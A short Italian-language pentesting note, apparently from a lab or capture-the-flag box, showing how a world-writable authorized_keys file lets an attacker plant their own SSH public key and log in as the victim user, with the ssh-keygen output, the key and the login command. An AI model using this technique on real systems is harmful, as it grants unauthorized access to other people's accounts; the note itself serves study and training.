tags: ssh ssh_privilage_escalation ssh_file_scrivibile
Nel caso trovassimo un file di autenticazione ssh scrivibile da terzi come nel seguente caso:
www-data@ip-10-10-166-44:/home/comte/.ssh$ ls -lha
total 12K
drwxr-xr-x 2 comte comte 4.0K Mar 25 2024 .
drwxr-xr-x 7 comte comte 4.0K Apr 4 2024 ..
-rw-rw-rw- 1 comte comte 563 Nov 13 13:32 authorized_keysPossiamo autenticarci come l’utente del file semplicemente creando una chiave sulla nostra macchina ed incollarla in quella della vittima.
Nella nostra macchina generiamo una chiave ssh con il seguente comando:
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:aYS69vaN+rp0Mwerchvj5ygSOqO7MgLDtMhEuj8jGmU kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| |
| . . |
|o . . |
|.o . . . |
|*.E . S |
|=*. . . o |
|o+ .o + = . |
|O.=.o+o*.* |
|XB + =XX= . |
+----[SHA256]-----+Questo comando genererà una chiave privata e una pubblica, quella pubblica la copiamo nella macchina vittima (nel nostro caso nel file authorized_keys ):
cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD9cN4rQ3LLr6VSczF9nkNbV6YzA3oPuTCNuz4HABcMDzvuYidxcehUZBCeY7Txf2MyO4hFZN9rklzewU36X7AkUle/DHR5NJdguUCYEBXpv913VKO69Oc6/uV9TRYJtiHp37R5UtrAeI+JRyD5Cr1/V7M5ICGTTFJiZEa1Lkcw08bzgE5E8YLGmOOtP8PNxmtzGINAFnZ+MdsAJ2HDsvHESdQBrOzA2B74koo2DJzUgELxw+KVKLds9UHjOVUBAYcAXKmKiij2V52qx7nPYZELZlkNVD/8L74ik5Z6Kr4TadBeB/AbpESLnuDz+vfm+vecQwNoqN0cTIRXN4W/9+LKizihcs8wU7ZLQ1KFqWgCR1POO7BseCdB9h7wR7+PZchAcrfP87g/lo/2E0gdtZdbgzfW8cC+KeW+pw8YKf90J6FNK/rDvHSjrXyn4eGJZOdcSpgQGlsQcdQWwWJkcQJvx4FT14TvxwBw3LguC/0TXvJugZTeDJAWnYfoWQwnsgk= kali@kaliMentre con quella privata ci autentichiamo:
ssh -i /home/kali/.ssh/id_rsa [email protected]